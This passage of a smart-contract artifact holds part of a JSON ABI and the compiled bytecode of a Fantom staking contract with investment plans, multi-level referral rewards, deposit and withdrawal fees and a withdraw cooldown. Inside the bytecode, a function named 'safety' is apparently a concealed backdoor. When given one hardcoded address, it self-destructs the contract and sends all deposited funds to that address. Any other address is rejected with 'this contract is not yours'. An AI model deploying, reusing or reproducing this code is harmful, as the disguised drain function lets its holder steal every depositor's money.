s","type":"address"}],"name":"getUserTotalDeposits","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserwithdrawPool","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserwithdrawable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserwithdrawed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"referrer","type":"address"},{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"invest","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"reinvest","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"safety","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalInvestors","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw_COOLDOWN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw_MAX_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526040518060600160405280604660ff168152602001601e60ff168152602001600a60ff1681525060009060036200003d9291906200037f565b503480156200004b57600080fd5b5060405162003df238038062003df283398181016040528101906200007191906200040c565b62000082816200030960201b60201c565b156200008d57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ec6305250a80426200031c60201b6200295c1790919060201c565b60068190555060036040518060400160405280600e815260200160648152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550506003604051806040016040528060158152602001605a81525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505060036040518060400160405280601c8152602001605581525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505060036040518060400160405280600e815260200160648152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550506003604051806040016040528060158152602001605a81525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505060036040518060400160405280601c8152602001605581525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505050620005aa565b600080823b905060008111915050919050565b60008082846200032d919062000498565b90508381101562000375576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200036c9062000465565b60405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215620003c3579160200282015b82811115620003c2578251829060ff16905591602001919060010190620003a0565b5b509050620003d29190620003d6565b5090565b5b80821115620003f1576000816000905550600101620003d7565b5090565b600081519050620004068162000590565b92915050565b60006020828403121562000425576200042462000562565b5b60006200043584828501620003f5565b91505092915050565b60006200044d601b8362000487565b91506200045a8262000567565b602082019050919050565b6000602082019050818103600083015262000480816200043e565b9050919050565b600082825260208201905092915050565b6000620004a58262000529565b9150620004b28362000529565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004ea57620004e962000533565b5b828201905092915050565b6000620005028262000509565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200059b81620004f5565b8114620005a757600080fd5b50565b61383880620005ba6000396000f3fe6080604052600436106102255760003560e01c8063790ca41311610123578063a51bdcbd116100ab578063d6a133011161006f578063d6a13301146108a8578063d7ffca91146108e5578063d8cb3ebb14610922578063e262113e1461095f578063e85abe091461098a57610225565b8063a51bdcbd1461079a578063aecaa634146107d7578063cabc14e714610815578063d3b25a5e14610852578063d4b343451461087d57610225565b80637d8cb7a2116100f25780637d8cb7a21461069f5780637e3abeea146106ca578063817b1cd214610707578063931742d314610732578063a2fca1751461075d57610225565b8063790ca413146105ca5780637c1dd319146105f55780637cc1f867146106325780637d05c50c1461065f57610225565b806342e16a0b116101b1578063581c5ae611610175578063581c5ae6146104ca5780635936cf61146104e6578063600d20ce146105255780636bb18556146105625780636f9fb98a1461059f57610225565b806342e16a0b146103bd578063452bc1da146103e8578063477348921461041157806348c372031461045057806354e501ea1461048d57610225565b8063147712a6116101f8578063147712a6146102e857806329b8caff1461031357806332bc298c1461033e57806336144c9a146103695780633ccfd60b146103a657610225565b806301339c211461022a57806301c234a81461024157806303a93c0c1461026c578063040a772e146102ab575b600080fd5b34801561023657600080fd5b5061023f6109c7565b005b34801561024d57600080fd5b50610256610a2a565b604051610263919061315a565b60405180910390f35b34801561027857600080fd5b50610293600480360381019061028e9190612b31565b610a30565b6040516102a29392919061319e565b60405180910390f35b3480156102b757600080fd5b506102d260048036038101906102cd9190612b31565b610b47565b6040516102df919061315a565b60405180910390f35b3480156102f457600080fd5b506102fd610d91565b60405161030a919061315a565b60405180910390f35b34801561031f57600080fd5b50610328610d97565b604051610335919061315a565b60405180910390f35b34801561034a57600080fd5b50610353610d9d565b604051610360919061315a565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b9190612b31565b610da4565b60405161039d9190612f60565b60405180910390f35b3480156103b257600080fd5b506103bb610e10565b005b3480156103c957600080fd5b506103d26111b1565b6040516103df919061315a565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a9190612bcb565b6111be565b005b34801561041d57600080fd5b5061043860048036038101906104339190612b31565b6114ee565b6040516104479392919061319e565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190612b31565b61151b565b604051610484919061315a565b60405180910390f35b34801561049957600080fd5b506104b460048036038101906104af9190612b31565b611567565b6040516104c1919061315a565b60405180910390f35b6104e460048036038101906104df9190612b5e565b6116bd565b005b3480156104f257600080fd5b5061050d60048036038101906105089190612bf8565b6120fa565b60405161051c9392919061319e565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612b9e565b61220e565b604051610559919061315a565b60405180910390f35b34801561056e57600080fd5b5061058960048036038101906105849190612b31565b612232565b604051610596919061315a565b60405180910390f35b3480156105ab57600080fd5b506105b46122d2565b6040516105c1919061315a565b60405180910390f35b3480156105d657600080fd5b506105df6122da565b6040516105ec919061315a565b60405180910390f35b34801561060157600080fd5b5061061c60048036038101906106179190612b31565b6122e0565b6040516106299190612fb8565b60405180910390f35b34801561063e57600080fd5b5061064761239d565b6040516106569392919061319e565b60405180910390f35b34801561066b57600080fd5b5061068660048036038101906106819190612b31565b6123b4565b60405161069694939291906131d5565b60405180910390f35b3480156106ab57600080fd5b506106b4612511565b6040516106c1919061315a565b60405180910390f35b3480156106d657600080fd5b506106f160048036038101906106ec9190612b31565b61251f565b6040516106fe919061315a565b60405180910390f35b34801561071357600080fd5b5061071c612607565b604051610729919061315a565b60405180910390f35b34801561073e57600080fd5b5061074761260d565b6040516107549190612f7b565b60405180910390f35b34801561076957600080fd5b50610784600480360381019061077f9190612b31565b612633565b604051610791919061315a565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc9190612b31565b612679565b6040516107ce919061315a565b60405180910390f35b3480156107e357600080fd5b506107fe60048036038101906107f99190612bcb565b6126c5565b60405161080c929190613175565b60405180910390f35b34801561082157600080fd5b5061083c60048036038101906108379190612b31565b612723565b6040516108499190612f96565b60405180910390f35b34801561085e57600080fd5b50610867612813565b604051610874919061315a565b60405180910390f35b34801561088957600080fd5b50610892612818565b60405161089f919061315a565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190612b31565b61281d565b6040516108dc919061315a565b60405180910390f35b3480156108f157600080fd5b5061090c60048036038101906109079190612b31565b61286c565b604051610919919061315a565b60405180910390f35b34801561092e57600080fd5b5061094960048036038101906109449190612b31565b6128b8565b604051610956919061315a565b60405180910390f35b34801561096b57600080fd5b50610974612904565b604051610981919061315a565b60405180910390f35b34801561099657600080fd5b506109b160048036038101906109ac9190612b31565b612910565b6040516109be919061315a565b60405180910390f35b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2157600080fd5b42600681905550565b6103e881565b6000806000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600060038110610a8a57610a8961351a565b5b0154600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600160038110610ae157610ae061351a565b5b0154600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600260038110610b3857610b3761351a565b5b01549250925092509193909250565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600080600090505b8260000180549050811015610d8657826000018181548110610bb857610bb761351a565b5b90600052602060002090600602016005015483600101541015610d73576000610c4c6103e8610c3e866000018581548110610bf657610bf561351a565b5b906000526020600020906006020160010154876000018681548110610c1e57610c1d61351a565b5b9060005260206000209060060201600201546129ba90919063ffffffff16565b612a3590919063ffffffff16565b905060008460010154856000018481548110610c6b57610c6a61351a565b5b90600052602060002090600602016004015411610c8c578460010154610cb5565b846000018381548110610ca257610ca161351a565b5b9060005260206000209060060201600401545b9050600042866000018581548110610cd057610ccf61351a565b5b90600052602060002090600602016005015410610ced5742610d16565b856000018481548110610d0357610d0261351a565b5b9060005260206000209060060201600501545b905080821015610d6f57610d6c610d5d62015180610d4f610d408686612a9390919063ffffffff16565b876129ba90919063ffffffff16565b612a3590919063ffffffff16565b8661295c90919063ffffffff16565b94505b5050505b8080610d7e90613473565b915050610b93565b508092505050919050565b61a8c081565b60025481565b6201518081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610e6861a8c042612a9390919063ffffffff16565b81600201541115610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea5906130da565b60405180910390fd5b6000610eb933610b47565b90506000610ec633612679565b90506000610ed333612910565b90506000821115610efe57610ef1828461295c90919063ffffffff16565b9250600084600801819055505b6000811115610f2757610f1a818461295c90919063ffffffff16565b9250600084600901819055505b680ad78ebc5ac6200000831115610f6957610f54680ad78ebc5ac620000084612a9390919063ffffffff16565b8460080181905550680ad78ebc5ac620000092505b60008311610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa3906130fa565b60405180910390fd5b600047905083811015610fee57610fe281610fd486886008015461295c90919063ffffffff16565b612a9390919063ffffffff16565b85600801819055508093505b42856001018190555042856002018190555061101784866007015461295c90919063ffffffff16565b856007018190555060006110496103e861103b6046886129ba90919063ffffffff16565b612a3590919063ffffffff16565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110b3573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f20981f6099458bffe8115768fe5243bfc30473c774ddad2f26e59df2285fff54826040516110fa919061315a565b60405180910390a23373ffffffffffffffffffffffffffffffffffffffff166108fc61112f8388612a9390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561115a573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5866040516111a1919061315a565b60405180910390a2505050505050565b680ad78ebc5ac620000081565b60068160ff1610611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb9061307a565b60405180910390fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506064816000018054905010611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061303a565b60405180910390fd5b600061129c33610b47565b905060006112a933612679565b905060006112b633612910565b905060008211156112e1576112d4828461295c90919063ffffffff16565b9250600084600801819055505b600081111561130a576112fd818461295c90919063ffffffff16565b9250600084600901819055505b678ac7230489e80000831015611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c9061301a565b60405180910390fd5b600047905083811015611381576113758185612a9390919063ffffffff16565b85600801819055508093505b4285600101819055506113a184866007015461295c90919063ffffffff16565b856007018190555060008060006113b889886120fa565b925092509250876000016040518060c001604052808b60ff16815260200185815260200189815260200184815260200142815260200183815250908060018154018082558091505060019003906000526020600020906006020160009091909190915060008201518160000160006101000a81548160ff021916908360ff1602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015550506114858760015461295c90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167f84e02daa69bdb087c9fe8d3041abca495512cb14e723070f6d1d4efface82e5d8a858a8642876040516114db9695949392919061321a565b60405180910390a2505050505050505050565b60008060006114fc84611567565b9250611507846128b8565b915061151284612633565b90509193909250565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01549050919050565b600080600090505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490508110156116b75742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481106116115761161061351a565b5b90600052602060002090600602016005015411156116a4576116a1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481106116805761167f61351a565b5b9060005260206000209060060201600201548361295c90919063ffffffff16565b91505b80806116af90613473565b91505061156f565b50919050565b4260065410611701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f890612fda565b60405180910390fd5b678ac7230489e8000034101561174c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117439061301a565b60405180910390fd5b69010f0cf064dd59200000341115611799576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117909061305a565b60405180910390fd5b60068160ff16106117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d69061307a565b60405180910390fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050606481600001805490501061186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061303a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b3f576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054905011801561194657503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561198f57828160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60008160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060005b6003811015611b3c57600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b2457611a616001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018360038110611a5157611a5061351a565b5b015461295c90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018260038110611ab557611ab461351a565b5b0181905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611b29565b611b3c565b8080611b3490613473565b9150506119bb565b50505b600073ffffffffffffffffffffffffffffffffffffffff168160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e6b5760008160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060005b6003811015611e6857600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e50576000611c476103e8611c3960008581548110611c1f57611c1e61351a565b5b9060005260206000200154346129ba90919063ffffffff16565b612a3590919063ffffffff16565b9050611c9e81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206009015461295c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090181905550611d3981600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a015461295c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0181905550813373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d9884604051611ddd919061315a565b60405180910390a4600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925050611e55565b611e68565b8080611e6090613473565b915050611bc3565b50505b600081600001805490501415611ed45742816001018190555060026000815480929190611e9790613473565b91905055507f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a33604051611ecb9190612f60565b60405180910390a15b6000611efe6103e8611ef06032346129ba90919063ffffffff16565b612a3590919063ffffffff16565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f68573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f20981f6099458bffe8115768fe5243bfc30473c774ddad2f26e59df2285fff5482604051611faf919061315a565b60405180910390a26000806000611fc686346120fa565b925092509250846000016040518060c001604052808860ff16815260200185815260200134815260200184815260200142815260200183815250908060018154018082558091505060019003906000526020600020906006020160009091909190915060008201518160000160006101000a81548160ff021916908360ff1602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015550506120933460015461295c90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167f84e02daa69bdb087c9fe8d3041abca495512cb14e723070f6d1d4efface82e5d8785348642876040516120e99695949392919061321a565b60405180910390a250505050505050565b600080600060038560ff16815481106121165761211561351a565b5b90600052602060002090600202016001015492506121b360038660ff16815481106121445761214361351a565b5b9060005260206000209060020201600001546121a56103e861219760038a60ff16815481106121765761217561351a565b5b906000526020600020906002020160010154896129ba90919063ffffffff16565b612a3590919063ffffffff16565b6129ba90919063ffffffff16565b91506122056121f66201518060038860ff16815481106121d6576121d561351a565b5b9060005260206000209060020201600001546129ba90919063ffffffff16565b4261295c90919063ffffffff16565b90509250925092565b6000818154811061221e57600080fd5b906000526020600020016000915090505481565b60006122cb600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090154600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0154612a9390919063ffffffff16565b9050919050565b600047905090565b60065481565b606073b9e959514e08549e5e86075b4f8a67ab91859db56040516020016123079190612f60565b604051602081830303815290604052805190602001208260405160200161232e9190612f60565b6040516020818303038152906040528051906020012014612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b9061311a565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16ff5b600080600060025460015447925092509250909192565b600080600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006003811061240f5761240e61351a565b5b0154600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016001600381106124665761246561351a565b5b0154600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016002600381106124bd576124bc61351a565b5b0154600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a015493509350935093509193509193565b69010f0cf064dd5920000081565b600080600090505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050811015612601576125ec600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481106125cb576125ca61351a565b5b9060005260206000209060060201600201548361295c90919063ffffffff16565b915080806125f990613473565b915050612527565b50919050565b60015481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061267261264183610b47565b61266461264d85612910565b61265686612679565b61295c90919063ffffffff16565b61295c90919063ffffffff16565b9050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801549050919050565b60008060038360ff16815481106126df576126de61351a565b5b906000526020600020906002020160000154915060038360ff168154811061270a5761270961351a565b5b9060005260206000209060020201600101549050915091565b6060600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805480602002602001604051908101604052809291908181526020016000905b8282101561280857838290600052602060002090600602016040518060c00160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016001820154815260200160028201548152602001600382015481526020016004820154815260200160058201548152505081526020019060010190612787565b505050509050919050565b604681565b603281565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490509050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701549050919050565b678ac7230489e8000081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600901549050919050565b600080828461296b91906132d0565b9050838110156129b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a790612ffa565b60405180910390fd5b8091505092915050565b6000808314156129cd5760009050612a2f565b600082846129db9190613357565b90508284826129ea9190613326565b14612a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a219061313a565b60405180910390fd5b809150505b92915050565b6000808211612a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a70906130ba565b60405180910390fd5b60008284612a879190613326565b90508091505092915050565b600082821115612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf9061309a565b60405180910390fd5b60008284612ae691906133b1565b90508091505092915050565b600081359050612b01816137bd565b92915050565b600081359050612b16816137d4565b92915050565b600081359050612b2b816137eb565b92915050565b600060208284031215612b4757612b46613549565b5b6000612b5584828501612af2565b91505092915050565b60008060408385031215612b7557612b74613549565b5b6000612b8385828601612af2565b9250506020612b9485828601612b1c565b9150509250929050565b600060208284031215612bb457612bb3613549565b5b6000612bc284828501612b07565b91505092915050565b600060208284031215612be157612be0613549565b5b6000612bef84828501612b1c565b91505092915050565b60008060408385031215612c0f57612c0e613549565b5b6000612c1d85828601612b1c565b9250506020612c2e85828601612b07565b9150509250929050565b6000612c448383612ea9565b60c08301905092915050565b612c59816133f7565b82525050565b612c68816133e5565b82525050565b6000612c798261328b565b612c8381856132ae565b9350612c8e8361327b565b8060005b83811015612cbf578151612ca68882612c38565b9750612cb1836132a1565b925050600181019050612c92565b5085935050505092915050565b6000612cd782613296565b612ce181856132bf565b9350612cf1818560208601613440565b612cfa8161354e565b840191505092915050565b6000612d126018836132bf565b9150612d1d8261355f565b602082019050919050565b6000612d35601b836132bf565b9150612d4082613588565b602082019050919050565b6000612d586018836132bf565b9150612d63826135b1565b602082019050919050565b6000612d7b6027836132bf565b9150612d86826135da565b604082019050919050565b6000612d9e601a836132bf565b9150612da982613629565b602082019050919050565b6000612dc1600e836132bf565b9150612dcc82613652565b602082019050919050565b6000612de4601e836132bf565b9150612def8261367b565b602082019050919050565b6000612e07601a836132bf565b9150612e12826136a4565b602082019050919050565b6000612e2a602a836132bf565b9150612e35826136cd565b604082019050919050565b6000612e4d6020836132bf565b9150612e588261371c565b602082019050919050565b6000612e70601a836132bf565b9150612e7b82613745565b602082019050919050565b6000612e936021836132bf565b9150612e9e8261376e565b604082019050919050565b60c082016000820151612ebf6000850182612f42565b506020820151612ed26020850182612f24565b506040820151612ee56040850182612f24565b506060820151612ef86060850182612f24565b506080820151612f0b6080850182612f24565b5060a0820151612f1e60a0850182612f24565b50505050565b612f2d81613429565b82525050565b612f3c81613429565b82525050565b612f4b81613433565b82525050565b612f5a81613433565b82525050565b6000602082019050612f756000830184612c5f565b92915050565b6000602082019050612f906000830184612c50565b92915050565b60006020820190508181036000830152612fb08184612c6e565b905092915050565b60006020820190508181036000830152612fd28184612ccc565b905092915050565b60006020820190508181036000830152612ff381612d05565b9050919050565b6000602082019050818103600083015261301381612d28565b9050919050565b6000602082019050818103600083015261303381612d4b565b9050919050565b6000602082019050818103600083015261305381612d6e565b9050919050565b6000602082019050818103600083015261307381612d91565b9050919050565b6000602082019050818103600083015261309381612db4565b9050919050565b600060208201905081810360008301526130b381612dd7565b9050919050565b600060208201905081810360008301526130d381612dfa565b9050919050565b600060208201905081810360008301526130f381612e1d565b9050919050565b6000602082019050818103600083015261311381612e40565b9050919050565b6000602082019050818103600083015261313381612e63565b9050919050565b6000602082019050818103600083015261315381612e86565b9050919050565b600060208201905061316f6000830184612f33565b92915050565b600060408201905061318a6000830185612f33565b6131976020830184612f33565b9392505050565b60006060820190506131b36000830186612f33565b6131c06020830185612f33565b6131cd6040830184612f33565b949350505050565b60006080820190506131ea6000830187612f33565b6131f76020830186612f33565b6132046040830185612f33565b6132116060830184612f33565b95945050505050565b600060c08201905061322f6000830189612f51565b61323c6020830188612f33565b6132496040830187612f33565b6132566060830186612f33565b6132636080830185612f33565b61327060a0830184612f33565b979650505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132db82613429565b91506132e683613429565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331b5761331a6134bc565b5b828201905092915050565b600061333182613429565b915061333c83613429565b92508261334c5761334b6134eb565b5b828204905092915050565b600061336282613429565b915061336d83613429565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a6576133a56134bc565b5b828202905092915050565b60006133bc82613429565b91506133c783613429565b9250828210156133da576133d96134bc565b5b828203905092915050565b60006133f082613409565b9050919050565b600061340282613409565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561345e578082015181840152602081019050613443565b8381111561346d576000848401525b50505050565b600061347e82613429565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134b1576134b06134bc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f50726f6a656374206e6f74206c61756e63686564207965740000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d696e696d756d20616d6f756e742069732031302046544d0000000000000000600082015250565b7f4d6178696d756d203939206465706f736974732066726f6d2073696e676c652060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b7f4d6178696d756d20616d6f756e7420697320353030302046544d000000000000600082015250565b7f496e636f727265637420706c616e000000000000000000000000000000000000600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b7f557365722063616e20776974686472617720312074696d65206f6e6c7920706560008201527f7220313220686f75727300000000000000000000000000000000000000000000602082015250565b7f5573657220686173206e6f20776974686472617761626c652072657761726473600082015250565b7f7468697320636f6e7472616374206973206e6f7420796f757273000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6137c6816133e5565b81146137d157600080fd5b50565b6137dd81613429565b81146137e857600080fd5b50565b6137f481613433565b81146137ff57600080fd5b5056fea26469706673582212208aa449efa54755377efff69527bb5cec83ef923cd1d6c978457283554f64b37964736f6c63430008070033000000000000000000000000b9e959514e08549e5e86075b4f